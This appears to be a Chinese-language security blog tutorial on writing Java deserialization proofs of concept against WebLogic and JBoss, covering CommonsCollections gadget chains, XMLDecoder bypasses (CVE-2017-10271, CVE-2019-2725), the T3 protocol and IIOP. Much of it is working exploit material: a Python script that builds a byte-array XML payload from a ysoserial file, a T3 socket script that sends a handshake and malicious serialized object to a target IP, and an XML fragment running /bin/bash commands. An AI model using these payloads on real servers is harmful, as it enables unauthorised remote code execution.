怎么浅析反序列化POC

这篇文章给大家介绍怎么浅析反序列化POC，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。

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0x00 JBOSS反序列化POC编写

CommonsCollections的利用就是一部反序列化漏洞腥风血雨的历史。

CommonsCollections类型的POC编写：

CC反射链的编写离不开四个Transformer类：

ConstantTransformer,invokerTransformer,ChainedTransformer，TransfoeredMap

第一个ConstantTransformer负责输入一个xxx.class,返回java.lang.Class的类对象，这个是为了后续调用获得getMethod的对象。

第一个invokerTransformer相当于执行

Method getRun = Runtime.class.getMethod(“getRuntime”,参数类型说明)

通过反射传入getRuntime参数的getMethod方法，当然传入这个方法反射得到的结果是，getRuntime的Method对象。

第二个invokerTransformer相当于执行

Runtime getRun = getRun.invoke();

第三个invokerTransformer相当于执行

Method getexec = Runtime.class.getMethod(“exec”,参数类型说明)

getexec.invoke(getRun,需要执行的命令)

最后通过给ChainedTransformer传入Transform数组，再将ChainedTransformer传入TranformedMap，进行decorate，EntrySet转化，最后触发TranformedMap类的setValue方法，通过setValue方法逐个触发Transformer类的transform方法。

参见：

https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg

https://www.freebuf.com/articles/web/246081.html

LazyMap类型POC的构造

LazyMap的调用还是与TransformedMap的调用有些不同，因为LazyMap没有setValue方法，那么就要想办法去调用LazyMap的get方法。

通过get方法去触发ChainedTransformer的transfrom方法，这个时候就不能使用编写TransformedMap那样的套路去玩了。需要使用动态代理机制去触发AnnotationInvocationHandler类的invoke方法

那就需要构造两次InvocationHandler代理，第一次构造是为了LazyMap的代理对象再进行任何方法调用的时候进行invoke方法中default选项的触发，第二次为了让InvocationHandler代理对象进行readObject方法调用。

参见：https://www.freebuf.com/articles/web/247672.html

BadAttributeValueExpException类型POC编写

BadAttributeValueExpException类的readObject方法调用了传入数据流的val域的toString方法。

那么就找一个val域有toString方法的类，而且这个类toString方法可以触发LazyMap对象的get操作，这个类可以传入LazyMap对象。

TiedMapEntry正好满足：

toString方法调用getValue方法

getValue方法，调用map类型对象的get方法，而LazyMap又是map接口的实现类，完美。

实现过程：CC链传入ChainedTransformer，ChainedTransformer传入LazyMap，LazyMap传入TiedMapEntry，TiedMapEntry作为BadAttributeValueExpException的val域的引用，经过序列化的BadAttributeValueExpException进行readObject，readObject调用val域的toSting,toString调用getValue,getValue调用get，get触发ChainedTransformer的transform方法，ChainedTransformer的transform方法触发Transformer数组的transform方法。

0x01 XMLDecoder反序列化POC编写

weblogic XMLDecoder是基于SOAP去解析的，具体的分析文章网上都有，后面会附加参考链接。

简单来说XMLDecoder的修补史就是SOAP标签的绕过史

首先看CVE-2017-3506，因为XMLDecoder对SOAP形式的XML文件进行解析，对WorkContext标签内的所有标签进行解析，将java标签下的第一个职位class的object标签解析为需要加载的类，将最后一个class值为method的void标签解析为加载的类所要使用的方法，将array标签内class的值解析为方法的参数类型，length为参数的个数，中间的void+string类型的标签为方法执行的各个参数值。

接着看CVE-2017-10271对CVE-2017-3506的补丁内容：

只是过滤了object标签，那又找了新的类去绕过，voidElementHandler继承自ObjectElementHandler所以，void标签，自然也就可以按照Object标签进行解析处理了。

只是过滤了object标签，那又找了新的类去绕过，voidElementHandler继承自ObjectElementHandler所以，void标签，自然也就可以按照Object标签进行解析处理了。

接下来贴出一个CVE-2017-10271&CVE-2017-3506的通用POC

   
    
     
     
     
     
     
  /bin/bash   
     
     
  -c   
     
     
    + cmd +     
                        
     
  >>  
     
    
  servers/AdminServer/tmp/_WL_internal/wls-wsat/cmdecho.txt  
    
     
     
     
     
     
     

再看CVE-2019-2725对之前的补丁：

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }
                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }

平安团队对此进行了分析，最后的结论：

1、 禁用 object、new、method 标签

2、 如果使用 void 标签，只能有 index 属性

3、 如果使用 array 标签，且标签使用的是 class 属性，则它的值只能是 byte

但是class标签还在，这个标签可以声明需要调用的类，还有惊喜，就是array标签可以使用，只要是byte类型就行。

那么现在需要找到这次出问题的地方，看之前的补丁。

那就找一个既可以解析byte类型的构造方法的类，UnitOfWorkChangeSet（盗个图）

那就让它调用这个类，给这个类传递byte数组

      
    oracle.toplink.internal.sessions.UnitOfWorkChangeSet

                 
                 -84                 ...                 ...          

             
         

这里在weblogic 10.3.6（JDK 1.6）的环境下复现：

首先这个类的构造方法可以readObject，那就先构造这样一个类。

先用ysoserial生成commons-collection生成一个反序列化文件。

然后将这个反序列化转化为16进制，一个字节是8个二进制位，一个字节相当于2个16进制位，16进制转化为byte型，并进行POC的拼接。

每一段反序列化数据必定以ac ed开头，那么第一个字节的值就应该是：

ac=10101100=172，但是byte的存储范围是-128~+127，这个明显是溢出了，然而计算机的存储是按照补码进行存储的，补码到原码的计算应该是符号位为1，其余各位取反，然后再整个数加1。

11010011+00000001=11010100=-84，这就是为什么POC中第一个开头的字节值为-84。

那么接下来编写生成POC的py脚本。

反序列化文件转化思路：先将文件中中的数据转化为16进制，然后两个16进制数为一组，并在其之前拼接’0x’然后将其归为一个列表的元素。

进制转换思路：如果两个16进制的10进制值小于127，那么不对它进行操作，保留原值，如果不是则对其进行原码运算，最后转为10进制值。

原码运算思路：

补码-1，得到反码，反码除符号位外按位取反。

将这些10进制的值挨个拼接到XML的标签中。

代码如下：

# -*- coding:utf-8 -*-
import binascii
with open('poc', 'rb') as f:
    a= binascii.b2a_hex(f.read()).decode('utf-8')
b = []
for i in range(len(a)//2):
    c = '0x'+a[2*i]+a[2*i+1]
    c = eval(c)
    if int(c)>127:
        c = int(c)
        c ='{:08b}'.format(c)
        c = list(c)
        d = ''
        for i in range(len(c)):
            if i == 0:
                d += c[i]
                continue
            elif c[i] == '1':
                c[i] ='0'
                d += c[i]
            else:
                c[i] = '1'
                d += c[i]
        d = list(d)
        pos = 0
        for index in range(len(d)):
            if d[index] == '0':
                pos = index
        for index in range(pos,len(d)):
            if d[index] == '0':
                d[index] = '1'
            else:
                d[index] = '0'
        d.remove(d[0])
        d = '0b'+''.join(d)
        d = '-' + str(eval(d))
        b.append(d)
    else:
        b.append(str(c))
pocHeader = ' ' \
            '' \
            '' \
            '' \
            '' \
            'oracle.toplink.internal.sessions.UnitOfWorkChangeSet' \
            '' \
            ''
pocBody = ''
for i in range(len(b)):
    pocBody += ''+str(b[i])+''
pocFooter = ' ' \
            '' \
            '' \
            '' \
            '' \
'' \
'' \
''
pocAll = pocHeader + pocBody + pocFooter
f = open('poc.txt','w+')
f.write(pocAll)

然后发送到/wls-wsat/的接口中，成功弹出计算器。（这里有一个疑问，为什么别人编写的POC要去掉0的XML的节点呢？我没有去也成功了）

这是对于之前补丁的绕过，看下新发现的接口是async：

对于这个接口的POC就是，加上xx

xx，分析过程参见平安团队的freebuf文章。

这里直接给之前CVE-2017-10271&CVE-2017-3506的通用POC加上这两个XML标签，在之后，之前发送POC看一下：

这里注意，POC都顶格写啊，为什么，参见廖师傅的文章：

http://xxlegend.com/

参考链接：

https://www.freebuf.com/vuls/206374.html

0x02 T3协议反序列化POC编写

T3这个东西吧，存在即合理，所以每次都被安全研究的大佬们找到内部类，然后通过序列化数据加载内部类。

T3协议的作用

说白了，T3就是另类的远程方法调用

T3反序列化数据的构成

T3的数据流程是这样接收的，客户端发送固定的握手信息：

t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n

服务端返回：

客户端再发送经过特殊构造CC链的新建文件的反序列化数据

T3数据构造过程：

在一台开启weblogic服务的靶机上将/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh，进行修改，在这个脚本对另一个weblogic主机发送stop的请求的时候，会会发送T3的序列化数据，之后使用wireshark抓取该数据。

修改过程：

https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/

如何利用T3协议进行远程类加载

利用T3协议的反序列化机制，反序列化可以远程加载方法的类，然后去加载远程方法，即二次序列化。

这里使用低版本weblogic的尝试一下CC链+JRMP远程方法调用，还是CVE-2019-2628，再次回顾一下weblogic stop脚本的流量。

第一次握手：

第二次发送序列化请求：

第三次发送序列化对象：

虽然看着是一滩还算清楚的洋码子，但是大佬们POC的编写已经开始细节了（和我之前学大佬的大有差别，https://blog.csdn.net/he_and/article/details/97924679）。

在这里先用上一次的文章的POC试一下能不能二次序列化：

先用yso生成一个JRMP请求的序列化脚本

启动服务器监听和HTTP服务结果报错

正常反序列化成功之后服务端报错为：

那么看下别人的是怎么成功的，先贴出GitHub上的示例：

https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2018_2628.py

首先看注释：

说是第一次是发送t3的请求对象

第二次才是序列化的对象，对比一下GitHub脚本与weblogic stop脚本，握手的就不看了，直接看t3请求的数据：

将data1，2，3，4直接拼接好，hex转码，拼接data2的时候注意，data2变量的尾部有这么一个小细节

在data2中间还有一个细节

意思就是说，尾部的dport（一般为7001）转化为4位16进制之后，填充到{0}的位置。

7001转化为16进制为1b59，我直接把后面的format去掉，将{0}替换为1b 59。

hex解码与weblogic的stop脚本流量对比不同之处。

除了IP地址的不同好像没有什么不同，再看反序列化数据的第二段

将反序列化的数据拼接到序列化的数据流中。

那为什么要分成data1，2，3，4这样发送呢，再返回看数据包的过程。

那么截取掉1b59等待端口的16进制来替换

在长度为1514的序列化请求数据包后面还有一个长度为88的数据包，也截取出来

OK，那么在序列化数据的时候发送了两次TCP的数据

返回结果与数据包中的一致，所以感觉没必要分四次发送

开始第二步，发送恶意序列化对象，这里还是看一下原POC

可以看到fe010000为一段反序列化数据的结束，aced0005为一段反序列化数据的开头，还是先看数据包

进入该数据包，只截取00000372之后的Hex，前面的都是TCP数据包的字符，只有后面才是真正的T3数据

然后求下这段Hex的长度/2，Hex转化后长度的值为：372，那么大致判断为这段数据的组合方式为“固定的T3数据头”+“反序列化数据段”，而这种分段方式每段反序列化数据段都是以aced0005开头，以fe010000结尾，我这里先尝试直接截取第一个aced0005之前的数据，后面直接从yso生成的序列化文件中拼接到截取的数据后，再在这段数据后’fe010000’，然后求出这段Hex字符串的长度，填充到开头，以左补0的方式。

那么POC就可以编写如下了：

# -*- coding:utf-8 -*-
import binascii
import socket
import time


def t3():
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n'
    host = ('192.168.23.128', 7001)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    sock.connect(host)
    sock.send(hello.encode('utf-8'))
    time.sleep(1)
    response = sock.recv(2048)
    print(response)
    data1 = '000005be016501ffffffffffffffff000000690000ea600000001816e4292ca381af623658de6c3770e50a53746339ada2505a027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774f210000000000000000000f3139322e3136382e3135342e313332000f3139322e3136382e3135342e3133327de213520000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d017344e7564a2ec4'
    data2 = '14000a3137322e32302e302e325adb1b310000000078'
    for d in [data1, data2]:
        sock.send(binascii.a2b_hex(d))
    print(sock.recv(2048))

    with open('poc1', 'rb') as f:
         a = binascii.b2a_hex(f.read()).decode('utf-8')
    header = '056508000000010000001b0000005b010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000ab08d9e9c939abfcecdcc7400087765626c6f67696306fe010000'
    footer = 'fe010000'
    data = header + a + footer

    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(5)
if __name__ == "__main__":
    t3()

利用yso输出JRMPClient的序列化文件

启动yso的监听

执行脚本，弹出计算器

在看下数据包的后续流程：

0x03 IIOP反序列化POC学习

参考文档：https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

贴一下原因吧：

Weblogic IIOP协议默认开启，跟T3协议一起监听在7001端口，这次漏洞主要原因是错误的过滤JtaTransactionManager类，JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了，T3协议使用的是resolveClass方法去过滤，resolveClass方法是会读取父类的，所以T3协议这样过滤没问题。但是IIOP协议这块虽然也是使用的这个黑名单列表，但不是使用resolveClass方法去判断，默认只会判断本类的类名，而JtaTransactionManager类不在黑名单列表里面并且存在jndi注入。

这里对Y4er师傅的poc进行一下分析（注要是底层实在跟不动，顶不住啊，能改改POC就行了），https://github.com/Y4er/CVE-2020-2551

其中createMemoitizedProxy创建了一个AnnotationInvocationHandler的动态代理，然后将这个动态代理的对象发送到服务端，进行反序列化。

具体的参见Y4er师傅的源码。

直接尝试一下

补充一个关于cve-2020-2551的GitHub检测脚本的说明：

https://github.com/0xn0ne/weblogicScanner/blob/master/stars/cve_2020_2551.py

首先运行如下程序

在此处，给IIOP的服务器指定一个错误的端口，这个程序会报错：

说是连接不到这个服务器，且没有通讯流量，那把它换成正常的7001端口

抓取数据包：

程序正常运行，使用wireshark抓取数据包：

将其Hex一下看：

发现红色部分由客户端发送的数据与检测脚本的一致。

返回包中如果存在GIOP字段说明存在漏洞。

0x04 JNDI注入类型LDAP反序列化POC编写

LDAP可以除了可以描述Java的对象信息，还可以返回序列化数据，由JNDI的类进行反序列化。

这个比较简单，直接将生成的序列化文件BASE64编码，然后客户端LDAP请求返回序列化数据就行了。

关于怎么浅析反序列化POC就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。

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